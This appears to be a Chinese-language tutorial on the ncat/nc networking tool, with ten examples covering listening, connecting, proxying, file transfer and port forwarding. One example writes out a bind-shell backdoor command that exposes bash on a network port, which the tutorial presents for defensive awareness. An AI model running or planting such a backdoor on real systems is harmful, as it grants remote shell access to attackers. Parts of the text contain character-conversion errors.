ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用于網絡的。它是一款擁有多種功能的 CLI 工具,可以用來在網絡上讀、寫以及重定向資料。 它被設計成可以被腳本或其他程式調用的可靠的後端工具。同時由于它能建立任意所需的連接配接,是以也是一個很好的網絡調試工具。
ncat/nc 既是一個端口掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。 由于有這麼多的功能,它被譽為是網絡界的瑞士軍刀。 這是每個系統管理者都應該知道并且掌握它。
在大多數 Debian 發行版中,nc 是預設可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 并不會預設被安裝。 你需要用下列指令手工安裝。
[root@linuxtechi ~]# yum install nmap-ncat -y
系統管理者可以用它來審計系統安全,用它來找出開放的端口然後保護這些端口。 管理者還能用它作為用戶端來審計 Web 伺服器、telnet 伺服器、郵件伺服器等, 通過 nc 我們可以控制發送的每個字元,也可以檢視對方的回應。
我們還可以用它捕獲用戶端發送的資料以此來了解這些用戶端是做什麼的。
在本文中,我們會通過 10 個例子來學習如何使用 nc 指令。
例子: 1) 監聽入站連接配接
通過 -l 選項,ncat 可以進入監聽模式,使我們可以在指定端口監聽入站連接配接。 完整的指令是這樣的:
$ ncat -l port_number
比如,
$ ncat -l 8080
伺服器就會開始在 8080 端口監聽入站連接配接。
例子: 2) 連接配接遠端系統
使用下面指令可以用 nc 來連接配接遠端系統,
$ ncat IP_address port_number
讓我們來看個例子,
$ ncat 192.168.1.100 80
這會建立一個連接配接,連接配接到 IP 為 192.168.1.100 的伺服器上的 80 端口,然後我們就可以向伺服器發送指令了。 比如我們可以輸入下面内容來擷取完整的網頁内容
GET / HTTP/1.1
或者擷取頁面名稱,
或者我們可以通過以下方式獲得作業系統指紋辨別,
HEAD / HTTP/1.1
這會告訴我們使用的是什麼軟體來運作這個 web 伺服器的。
例子: 3) 連接配接 UDP 端口
預設情況下,nc 建立連接配接時隻會連接配接 TCP 端口。 不過我們可以使用 -u 選項來連接配接到 UDP 端口,
$ ncat -l -u 1234
現在我們的系統會開始監聽 UDP 的 1234 端口,我們可以使用下面的 netstat 指令來驗證這一點,
$ netstat -tunlp | grep 1234
udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc
udp6 0 0 :::1234 ::???? 17341/nc
假設我們想發送或者說測試某個遠端主機 UDP 端口的連通性,我們可以使用下面指令,
$ ncat -v -u {host-ip} {udp-port}
比如:
[root@localhost ~]# ncat -v -u 192.168.105.150 53
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.105.150:53。
例子: 4) 将 nc 作為聊天工具
nc 也可以作為聊天工具來用,我們可以配置伺服器監聽某個端口,然後從遠端主機上連接配接到伺服器的這個端口,就可以開始發送消息了。 在伺服器這端運作:
在遠端用戶端主機上運作:
$ ncat 192.168.1.100 8080
之後開始發送消息,這些消息會在伺服器終端上顯示出來。
例子: 5) 将 nc 作為代理
nc 也可以用來做代理。比如下面這個例子,
$ ncat -l 8080 | ncat 192.168.1.200 80
所有發往我們伺服器 8080 端口的連接配接都會自動轉發到 192.168.1.200 上的 80 端口。 不過由于我們使用了管道,資料隻能被單向傳輸。 要同時能夠接受傳回的資料,我們需要建立一個雙向管道。 使用下面指令可以做到這點:
$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way
現在你可以通過 nc 代理來收發資料了。
例子: 6) 使用 nc 拷貝檔案
nc 還能用來在系統間拷貝檔案,雖然這麼做并不推薦,因為絕大多數系統預設都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統的話, 你可以用 nc 來作最後的努力。
在要接受資料的機器上啟動 nc 并讓它進入監聽模式:
$ ncat -l 8080 > file.txt
現在去要被拷貝資料的機器上運作下面指令:
$ ncat 192.168.1.100 8080 --send-only < data.txt
這裡,data.txt 是要發送的檔案。 -–send-only 選項會在檔案拷貝完後立即關閉連接配接。 如果不加該選項, 我們需要手工按下 ctrl+c 來關閉連接配接。
我們也可以用這種方法拷貝整個磁盤分區,不過請一定要小心。
例子: 7) 通過 nc 建立後門
nc 指令還可以用來在系統中建立後門,并且這種技術也确實被黑客大量使用。 為了保護我們的系統,我們需要知道它是怎麼做的。 建立後門的指令為:
$ ncat -l 10000 -e /bin/bash
-e 标志将一個 bash 與端口 10000 相連。現在用戶端隻要連接配接到伺服器上的 10000 端口就能通過 bash 擷取我們系統的完整通路權限:
$ ncat 192.168.1.100 10000
例子: 8) 通過 nc 進行端口轉發
我們通過選項 -c 來用 nc 進行端口轉發,實作端口轉發的文法為:
$ ncat -u -l 80 -c 'ncat -u -l 8080'
這樣,所有連接配接到 80 端口的連接配接都會轉發到 8080 端口。
例子: 9) 設定連接配接逾時
nc 的監聽模式會一直運作,直到手工終止。 不過我們可以通過選項 -w 設定逾時時間:
$ ncat -w 10 192.168.1.100 8080
這回導緻連接配接 10 秒後終止,不過這個選項隻能用于用戶端而不是服務端。
例子: 10) 使用 -k 選項強制 nc 待命
當用戶端從服務端斷開連接配接後,過一段時間服務端也會停止監聽。 但通過選項 -k 我們可以強制伺服器保持連接配接并繼續監聽端口。 指令如下:
$ ncat -l -k 8080
現在即使來自用戶端的連接配接斷了也依然會處于待命狀态。
自此我們的教程就完了,如有疑問,請在下方留言。